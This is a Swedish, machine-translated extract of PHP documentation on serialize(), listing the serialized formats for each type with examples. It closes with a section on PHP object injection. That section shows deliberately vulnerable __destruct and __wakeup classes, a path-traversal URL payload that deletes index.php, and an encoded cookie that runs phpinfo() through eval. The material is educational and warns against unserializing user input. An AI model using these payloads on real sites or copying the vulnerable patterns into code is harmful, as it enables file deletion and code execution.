Sök…


Syntax

  • strängserialisering (blandat $ värde)

parametrar

Parameter detaljer
värde Värdet som ska serialiseras. serialize () hanterar alla typer, utom resurs- typen. Du kan till och med serialisera () matriser som innehåller referenser till sig själv. Cirkulära referenser inuti den matris / objektet du seriellt kommer också att lagras. Alla andra referenser kommer att gå förlorade. När du serialiserar objekt kommer PHP att försöka ringa medlemsfunktionen __sleep () före serien. Detta är för att tillåta objektet att göra någon sista minuten-sanering etc. innan den görs i serie. På samma sätt kallas __wakeup () -medlemfunktionen när objektet återställs med unserialize () . Objektets privata medlemmar har klassnamnet förberett till medlemsnamnet; skyddade medlemmar har en '*' föredragen till medlemsnamnet. Dessa förinställda värden har nollbyte på vardera sidan.

Anmärkningar

Serialisering använder följande strängstrukturer:

[..] är platshållare.

Typ Strukturera
Sträng s:[size of string]:[value]
Heltal i:[value]
Dubbel d:[value]
Boolean b:[value (true = 1 and false = 0)]
Null N
Objekt O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)}
Array a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)}

Serialisering av olika typer

Genererar en lagringsbar representation av ett värde.

Detta är användbart för att lagra eller överföra PHP-värden utan att förlora sin typ och struktur.

Om du vill göra den seriella strängen till ett PHP-värde igen använder du unserialize () .

Serialisering av en sträng

$string = "Hello world";    
echo serialize($string);

// Output: 
// s:11:"Hello world";

Serialisering av en dubbel

$double = 1.5;    
echo serialize($double);

// Output: 
// d:1.5;

Serialiserar en flottör

Float blir serienummer som dubblar.

Serialisering av ett heltal

$integer = 65;    
echo serialize($integer);

// Output: 
// i:65;

Serialisering av en boolean

$boolean = true;    
echo serialize($boolean);

// Output: 
// b:1;

$boolean = false;    
echo serialize($boolean);

// Output: 
// b:0;

Serialisering av noll

$null = null;    
echo serialize($null);

// Output: 
// N;

Serialisering av en matris

$array = array(
    25,
    'String',
    'Array'=> ['Multi Dimension','Array'],
    'boolean'=> true,
    'Object'=>$obj, // $obj from above Example
    null,
    3.445
); 


// This will throw Fatal Error
// $array['function'] = function() { return "function"; };

echo serialize($array);

// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}

Serialisering av ett objekt

Du kan också serialisera objekt.

När du serialiserar objekt kommer PHP att försöka ringa medlemsfunktionen __sleep () före serialisering. Detta är för att tillåta objektet att göra någon sista minuten-sanering etc. innan den görs i serie. På samma sätt kallas __wakeup () -medlemfunktionen när objektet återställs med unserialize () .

class abc {
    var $i = 1;
    function foo() {
        return 'hello world';
    }
}

$object = new abc(); 
echo serialize($object);

// Output:
// O:3:"abc":1:{s:1:"i";i:1;} 

Observera att stängningar inte kan serialiseras:

$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"

$serializedResult = serialize($function);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'

Säkerhetsproblem med unserialize

Att använda unserialize funktion för att avläsa information från användarinmatning kan vara farligt.

En varning från php.net

Varning Passera inte tillförlitlig användarinmatning för att avläsa serien (). Oserialisering kan resultera i att koden laddas och körs på grund av objektinställning och autoloadning och en skadlig användare kan kunna utnyttja detta. Använd ett säkert, standardutbyteformat som JSON (via json_decode () och json_encode ()) om du behöver skicka seriell data till användaren.

Möjliga attacker

  • PHP-objektinjektion

PHP-objektinjektion

PHP Object Injection är en sårbarhet på applikationsnivå som kan göra det möjligt för en angripare att utföra olika typer av skadliga attacker, till exempel kodinjektion, SQL-injektion, Path Traversal och Application Denial of Service, beroende på sammanhang. Sårbarheten uppstår när ingång från den användare som levereras inte saneras ordentligt innan den överförs till PHP-funktionen unserialize (). Eftersom PHP tillåter objektserialisering, kan angripare skicka ad-hoc serialiserade strängar till ett sårbart unserialize () -samtal, vilket resulterar i ett godtyckligt PHP-objekt (er) injektion i tillämpningsområdet.

För att framgångsrikt kunna utnyttja en PHP-objektinjektionssårbarhet måste två villkor vara uppfyllda:

  • Programmet måste ha en klass som implementerar en PHP-magi-metod (som __wakeup eller __destruct ) som kan användas för att utföra skadliga attacker eller för att starta en "POP-kedja".
  • Alla klasser som används under attacken måste deklareras när den sårbara unserialize() kallas, annars måste autoladning av objekt stöds för sådana klasser.

Exempel 1 - Path Traversal Attack

Exemplet nedan visar en PHP-klass med en exploaterbar __destruct :

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

I det här exemplet kan en angripare kunna radera en godtycklig fil via en Path Traversal-attack, till exempel för att begära följande URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Exempel 2 - Kodinjektionsattack

Exemplet nedan visar en PHP-klass med en exploaterbar __wakeup-metod:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

I det här exemplet kan en angripare kunna utföra en kodinjektionsattack genom att skicka en HTTP-förfrågan så här:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

Där cookie-parametern "data" har genererats av följande skript:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));


Modified text is an extract of the original Stack Overflow Documentation
Licensierat under CC BY-SA 3.0
Inte anslutet till Stack Overflow